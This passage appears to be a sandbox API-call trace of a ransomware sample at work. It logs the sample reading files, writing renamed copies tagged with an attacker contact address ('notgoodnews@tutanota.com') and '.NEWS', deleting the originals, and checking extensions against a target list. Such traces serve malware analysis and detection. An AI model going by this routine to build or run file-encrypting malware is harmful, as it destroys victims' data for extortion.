returned 8 [0063.893] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.894] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4254) returned 1 [0063.894] CloseHandle (hObject=0x2f4) returned 1 [0063.894] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 0x80 [0063.894] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.894] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.894] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.895] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.899] GetLastError () returned 0x0 [0063.899] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x109e, lpOverlapped=0x0) returned 1 [0063.901] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x10a0, lpOverlapped=0x0) returned 1 [0063.902] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.902] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.902] SetEndOfFile (hFile=0x31c) returned 1 [0063.902] CloseHandle (hObject=0x31c) returned 1 [0063.903] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.904] SetEndOfFile (hFile=0x2f4) returned 1 [0063.904] CloseHandle (hObject=0x2f4) returned 1 [0063.904] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.905] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf")) returned 1 [0063.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.905] lstrlenW (lpString=".doc") returned 4 [0063.905] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.905] lstrlenW (lpString=".docx") returned 5 [0063.905] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.905] lstrlenW (lpString=".pdf") returned 4 [0063.905] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.905] lstrlenW (lpString=".xls") returned 4 [0063.905] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.905] lstrlenW (lpString=".xlsx") returned 5 [0063.905] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.905] lstrlenW (lpString=".ppt") returned 4 [0063.905] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.905] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".zip") returned 4 [0063.906] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.906] lstrlenW (lpString=".rar") returned 4 [0063.906] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString=".bz2") returned 4 [0063.906] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString=".7z") returned 3 [0063.906] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".dbf") returned 4 [0063.906] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".1cd") returned 4 [0063.906] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".jpg") returned 4 [0063.906] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".doc") returned 4 [0063.906] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString=".docx") returned 5 [0063.906] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.906] lstrlenW (lpString=".pdf") returned 4 [0063.906] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString=".xls") returned 4 [0063.906] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.906] lstrlenW (lpString=".xlsx") returned 5 [0063.906] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.906] lstrlenW (lpString=".ppt") returned 4 [0063.906] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.906] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.906] lstrlenW (lpString=".zip") returned 4 [0063.907] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.907] lstrlenW (lpString=".rar") returned 4 [0063.907] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.907] lstrlenW (lpString=".bz2") returned 4 [0063.907] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.907] lstrlenW (lpString=".7z") returned 3 [0063.907] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.907] lstrlenW (lpString=".dbf") returned 4 [0063.907] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0063.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.907] lstrlenW (lpString=".1cd") returned 4 [0063.907] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0063.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 35 [0063.907] lstrlenW (lpString=".jpg") returned 4 [0063.907] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0063.907] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0063.907] lstrlenW (lpString="LocalizedData.xml") returned 17 [0063.907] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.907] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=86442) returned 1 [0063.907] CloseHandle (hObject=0x2f4) returned 1 [0063.907] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 0x80 [0063.908] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.908] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.908] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.908] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.908] GetLastError () returned 0x0 [0063.908] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x151aa, lpOverlapped=0x0) returned 1 [0063.911] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x151b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x151b0, lpOverlapped=0x0) returned 1 [0063.913] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.913] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0063.913] SetEndOfFile (hFile=0x31c) returned 1 [0063.913] CloseHandle (hObject=0x31c) returned 1 [0064.356] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.356] SetEndOfFile (hFile=0x2f4) returned 1 [0064.357] CloseHandle (hObject=0x2f4) returned 1 [0064.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.358] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml")) returned 1 [0064.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.358] lstrlenW (lpString=".doc") returned 4 [0064.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.358] lstrlenW (lpString=".docx") returned 5 [0064.358] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.358] lstrlenW (lpString=".pdf") returned 4 [0064.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.358] lstrlenW (lpString=".xls") returned 4 [0064.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.358] lstrlenW (lpString=".xlsx") returned 5 [0064.358] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.358] lstrlenW (lpString=".ppt") returned 4 [0064.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.358] lstrlenW (lpString=".zip") returned 4 [0064.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.358] lstrlenW (lpString=".rar") returned 4 [0064.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".bz2") returned 4 [0064.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".7z") returned 3 [0064.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString=".dbf") returned 4 [0064.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString=".1cd") returned 4 [0064.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString=".jpg") returned 4 [0064.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString=".doc") returned 4 [0064.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".docx") returned 5 [0064.359] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.359] lstrlenW (lpString=".pdf") returned 4 [0064.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".xls") returned 4 [0064.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".xlsx") returned 5 [0064.359] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.359] lstrlenW (lpString=".ppt") returned 4 [0064.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.359] lstrlenW (lpString=".zip") returned 4 [0064.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.359] lstrlenW (lpString=".rar") returned 4 [0064.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".bz2") returned 4 [0064.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.359] lstrlenW (lpString=".7z") returned 3 [0064.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.360] lstrlenW (lpString=".dbf") returned 4 [0064.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.360] lstrlenW (lpString=".1cd") returned 4 [0064.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 44 [0064.360] lstrlenW (lpString=".jpg") returned 4 [0064.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.360] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0064.360] lstrlenW (lpString="LocalizedData.xml") returned 17 [0064.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.360] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=81482) returned 1 [0064.360] CloseHandle (hObject=0x2f4) returned 1 [0064.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80 [0064.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.361] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.361] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.361] GetLastError () returned 0x0 [0064.361] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x13e4a, lpOverlapped=0x0) returned 1 [0064.365] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x13e50, lpOverlapped=0x0) returned 1 [0064.367] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0064.367] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0064.368] SetEndOfFile (hFile=0x31c) returned 1 [0064.368] CloseHandle (hObject=0x31c) returned 1 [0064.373] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.373] SetEndOfFile (hFile=0x2f4) returned 1 [0064.374] CloseHandle (hObject=0x2f4) returned 1 [0064.374] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0064.374] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString=".doc") returned 4 [0064.375] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".docx") returned 5 [0064.375] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.375] lstrlenW (lpString=".pdf") returned 4 [0064.375] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".xls") returned 4 [0064.375] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".xlsx") returned 5 [0064.375] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.375] lstrlenW (lpString=".ppt") returned 4 [0064.375] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString=".zip") returned 4 [0064.375] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.375] lstrlenW (lpString=".rar") returned 4 [0064.375] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".bz2") returned 4 [0064.375] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString=".7z") returned 3 [0064.375] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString=".dbf") returned 4 [0064.375] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString=".1cd") returned 4 [0064.375] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.375] lstrlenW (lpString=".jpg") returned 4 [0064.375] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.375] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString=".doc") returned 4 [0064.376] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".docx") returned 5 [0064.376] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0064.376] lstrlenW (lpString=".pdf") returned 4 [0064.376] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".xls") returned 4 [0064.376] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".xlsx") returned 5 [0064.376] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0064.376] lstrlenW (lpString=".ppt") returned 4 [0064.376] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString=".zip") returned 4 [0064.376] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0064.376] lstrlenW (lpString=".rar") returned 4 [0064.376] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".bz2") returned 4 [0064.376] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString=".7z") returned 3 [0064.376] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0064.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString=".dbf") returned 4 [0064.376] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString=".1cd") returned 4 [0064.376] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0064.376] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44 [0064.376] lstrlenW (lpString=".jpg") returned 4 [0064.376] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0064.376] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0064.377] lstrlenW (lpString="eula.rtf") returned 8 [0064.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.377] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3865) returned 1 [0064.377] CloseHandle (hObject=0x2f4) returned 1 [0064.377] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf")) returned 0x80 [0064.377] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0064.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0064.377] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.377] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.377] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0064.379] GetLastError () returned 0x0 [0064.379] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xf19, lpOverlapped=0x0) returned 1 [0064.381] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf20, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf20, lpOverlapped=0x0) returned 1 [0064.382] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, 